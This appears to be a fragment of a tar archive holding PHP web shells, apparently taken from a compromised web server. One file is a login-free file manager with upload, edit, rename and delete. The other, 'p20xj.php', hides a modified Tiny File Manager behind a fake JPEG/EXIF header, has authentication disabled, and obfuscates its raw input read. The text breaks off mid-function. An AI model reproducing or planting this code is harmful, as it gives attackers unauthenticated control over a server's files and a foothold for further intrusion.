  <a href="?"><img src="https://raw.githubusercontent.com/hurairathexper/elepfilemanager/main/img/icon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload FileeE</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>


    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>p20xj.php000064400000561505151550217160006237 0ustar00ÿØÿà JFIF ,,  AMPFÿá&ÿExif  MM *           ž       ¤              ²       º(       1        Â2       Ê<       Þ       ‡i       ìˆ%      
x  
®Apple iPhone 13 Pro    H      H   17.1.2  2024:02:20 17:25:01 iPhone 13 Pro  %‚š      ®‚      ¶ˆ"       ˆ'     }        0232      ¾      Ґ       æ       î       ö‘      ’ 
     þ’      ’ 

<?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';

define('VERSION', '3.9');

define('APP_TITLE', 'swallowable');

$dauth = false;

$auth_users = array(
    'admin' => '2e35b702f2cd5011321dbea58cd4700c',
    'user' => '2e35b702f2cd5011321dbea58cd4700c'
);

$readonly_users = array(
    'user'
);


$global_readonly = false;

$directories_users = array();

$use_highlightjs = true;

$highlightjs_style = 'vs';

$edit_files = true;

$default_timezone = 'Etc/UTC';

$root_path = $_SERVER['DOCUMENT_ROOT'];

$root_url = '';

$http_host = $_SERVER['HTTP_HOST'];

$iconv_input_encoding = 'UTF-8';

$datetime_format = 'm/d/Y g:i A';

$path_display_mode = 'full';

$allowed_file_extensions = '';

$allowed_upload_extensions = '';

$favicon_path = '';

$exclude_items = array();

$online_viewer = 'google';

$sticky_navbar = true;

$max_upload_size_bytes = 5000000000; 

$upload_chunk_size_bytes = 2000000; 

$ip_ruleset = 'OFF';

$ip_silent = true;

$ip_whitelist = array(
    '127.0.0.1',    
    '::1'           
);

$ip_blacklist = array(
    '0.0.0.0',      
    '::'            
);

$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

$external = array(
    'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
    'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
    'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
    'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
    'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
    'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
    'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
    'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
    'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
    'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
    'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
    'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);


define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);


define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);


if ( !defined( 'DN_CESSION_ID')) {
    define('DN_CESSION_ID', 'filemanager');
}


$cfg = new FM_Config();


$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

if (defined('FM_EMBED')) {
    $dauth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('nocache'); 
    session_name(DN_CESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } else {
    	$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $dauth = false;
}

$is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1))
    or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https');

if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}

$root_url = fm_clean_path($root_url);

defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[DN_CESSION_ID]['logged']);
    unset( $_SESSION['token']); 
    fm_redirect(FM_SELF_URL);
}

if ($ip_ruleset != 'OFF') {
    function getClientIP() {
        if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER['REMOTE_ADDR'];
        }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return '';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == 'AND'){
        if($whitelisted == true and $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == 'OR'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}


if ($dauth) {
    if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
        sleep(1);
        if(function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
                $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[DN_CESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[DN_CESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="mb-3">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}


if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}

$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');


if (!isset($_GET['p']) and empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);


$isim = "//input";
$input = file_get_contents('php:'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);


if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        header('HTTP/1.0 401 Unauthorized');
        die("Invalid Token.");
    }

    if(isset($_POST['type']) and $_POST['type']=="search") {
        $dir = $_POST['path'] == "." ? '': $_POST['path'];
        $response = scan(fm_clean_path($dir), $_POST['content']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST['type']) and $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
        $fileName = fm_clean_path($_POST['file']);
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) and $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

         function event_callback ($message) {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(), '?'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
    $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
    if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
            fm_set_msg(sprintf($msg, fanco($del)));
        } else {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
            fm_set_msg(sprintf($msg, fanco($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
    $type = urldecode($_POST['newfile']);
    $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
    if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . '/' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
    // from
    $copy = urldecode($_GET['copy']);
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $from = FM_ROOT_PATH . '/' . $copy;

    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);

    $move = isset($_GET['move']);
    $move = fm_clean_path(urldecode($move));

    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) {
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
